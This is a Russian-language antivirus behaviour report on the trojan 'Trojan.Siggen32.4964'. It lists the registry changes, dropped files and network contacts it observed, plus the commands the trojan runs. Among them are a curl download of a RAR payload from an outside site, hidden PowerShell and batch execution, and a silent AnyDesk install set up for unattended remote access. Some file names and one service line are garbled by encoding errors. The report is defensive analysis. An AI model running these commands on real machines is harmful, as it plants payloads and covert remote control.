Trojan.Siggen32.4964

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\Software\Classes\.anydesk\shell\open\command] '' = '"C:\intel\Union\AnyDesk\AnyDesk.exe" --play "%1"'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\AnyDesk] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\AnyDesk] 'ImagePath' = '"C:\intel\Union\AnyDesk\AnyDesk.exe" --service'

Создает следующие сервисы

'AnyDesk' C:\intel�nion\AnyDesk\AnyDesk.exe" --servic

Вредоносные функции

Создает и загружает библиотеки (эксплоит)

C:\intel\union\trays\shelleh6055.dll

Изменения в файловой системе

Создает следующие файлы

%TEMP%\$inst\2.tmp
%TEMP%\$inst\temp_0.tmp
C:\intel\union\driver.exe
C:\intel\union\upgrade.bat
C:\intel\union\Г°ГҐГ¤ГЄГ®Г«Г«ГҐГЈГЁГї Г ГІГ ГІГ 2.doc
C:\intel\uninstall.exe
C:\intel\uninstall.ini
C:\intel\union\~$Г¤ГЄГ®Г«Г«ГҐГЈГЁГї Г ГІГ ГІГ 2.doc
C:\intel\union\nkgobfvdryujytfr.rar
C:\intel\union\blat.exe
C:\intel\union\anydesk.exe
C:\intel\union\trays\4t-min.chm
C:\intel\union\trays\4t-min64.exe
C:\intel\union\trays\4t-min_pad.xml
C:\intel\union\trays\7z.dll
C:\intel\union\trays\company.url
C:\intel\union\trays\contact.url
C:\intel\union\trays\delreg.exe
C:\intel\union\trays\faq.url
C:\intel\union\trays\file_id.diz
C:\intel\union\trays\license.txt
C:\intel\union\trays\locale\de\lc_messages\default.mo
C:\intel\union\trays\locale\de2\lc_messages\default.mo
C:\intel\union\trays\locale\es\lc_messages\default.mo
C:\intel\union\trays\locale\fr\lc_messages\default.mo
C:\intel\union\trays\locale\it\lc_messages\default.mo
C:\intel\union\trays\locale\pt_br\lc_messages\default.mo
C:\intel\union\trays\locale\ru\lc_messages\default.mo
C:\intel\union\trays\locale\tr\lc_messages\default.mo
C:\intel\union\trays\locale\zh_cn\lc_messages\default.mo
C:\intel\union\trays\locale\zh_tw\lc_messages\default.mo
C:\intel\union\trays\newsletter.url
C:\intel\union\trays\order.txt
C:\intel\union\trays\order.url
C:\intel\union\trays\product.url
C:\intel\union\trays\readme.txt
C:\intel\union\trays\shelleh6055.dll
C:\intel\union\trays\shelleh6055x64.dll
C:\intel\union\trays\tray.dll
C:\intel\union\trays\trays.exe
C:\intel\union\trays\unins000.dat
C:\intel\union\trays\unins000.exe
C:\intel\union\trays\whatsnew.txt
C:\intel\union\trays\wishlist.url
%APPDATA%\4t niagara software\4t tray minimizer\trays.log
%APPDATA%\anydesk\ad.trace
%APPDATA%\anydesk\user.conf
%APPDATA%\anydesk\system.conf
%APPDATA%\anydesk\service.conf
%APPDATA%\anydesk\global_cache\device-id.cache
C:\intel\union\anydesk\anydesk.exe
%ALLUSERSPROFILE%\anydesk\system.conf
%ALLUSERSPROFILE%\anydesk\ad_svc.trace
%ALLUSERSPROFILE%\anydesk\service.conf

Удаляет файлы, которые сам же создал

%TEMP%\$inst\temp_0.tmp
%TEMP%\$inst\2.tmp

Сетевая активность

Подключается к

'19#.#4.114.214':443
'4t###agara.com':80
'bo##.##t.anydesk.com':443
're#######4ca21.net.anydesk.com':443

TCP

Запросы HTTP POST

http://www.4t###agara.com/checkupdate.php

Другие

'19#.#4.114.214':443
'bo##.##t.anydesk.com':443
're#######4ca21.net.anydesk.com':443

UDP

DNS ASK 4t###agara.com
DNS ASK bo##.##t.anydesk.com
DNS ASK re#######4ca21.net.anydesk.com

Другое

Ищет следующие окна

ClassName: 'TMinimizerMainForm' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Start-Process 'C:\intel\Union\upgrade.bat' -WindowStyle Hidden -WorkingDirectory 'C:\intel\Union'"
'C:\intel\union\driver.exe' x -r -ep2 -p"limpid29033" C:\intel\Union\nkgobfvdryujytfr.rar C:\intel\Union /y
'C:\intel\union\trays\trays.exe' -tray
'C:\intel\union\anydesk.exe' AnyDesk.exe --install C:\intel\Union\AnyDesk
'C:\intel\union\trays\4t-min64.exe' "C:\intel\Union\Trays\ShellEh6055x64.dll"
'C:\intel\union\anydesk.exe' --local-service
'C:\intel\union\anydesk.exe' --local-control
'C:\intel\union\anydesk\anydesk.exe' --service
'C:\intel\union\anydesk\anydesk.exe' --control
'C:\intel\union\anydesk\anydesk.exe' --new-install
'C:\intel\union\anydesk.exe' --set-password _unattended_access

Запускает на исполнение

'%WINDIR%\syswow64\attrib.exe' +s +h C:\intel (со скрытым окном)
'%ProgramFiles(x86)%\microsoft office\office16\winword.exe' /n "C:\intel\Union\ÐÑÐÒÐÂ¤ÐÐÐÂ®ÐÂ«ÐÂ«ÐÒÐÐÐÐÐÑ ÐÐÐâÐÂ ÐâÐÂ 2.doc" /o ""
'%WINDIR%\syswow64\cmd.exe' /c powershell -WindowStyle Hidden -Command "Start-Process 'C:\intel\Union\upgrade.bat' -WindowStyle Hidden -WorkingDirectory 'C:\intel\Union'" (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\intel\Union\upgrade.bat" " (со скрытым окном)
'%WINDIR%\syswow64\curl.exe' -k -L -o C:\intel\Union\nkgobfvdryujytfr.rar --resolve titan-barykady.site:443:19#.#4.114.214 https://titan-barykady.site/Libe/nkgobfvdryujytfr.rar
'%WINDIR%\syswow64\ping.exe' -n 15 127.0.0.1
'%WINDIR%\syswow64\ping.exe' -n 60 127.0.0.1
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo QWERTY1234566 "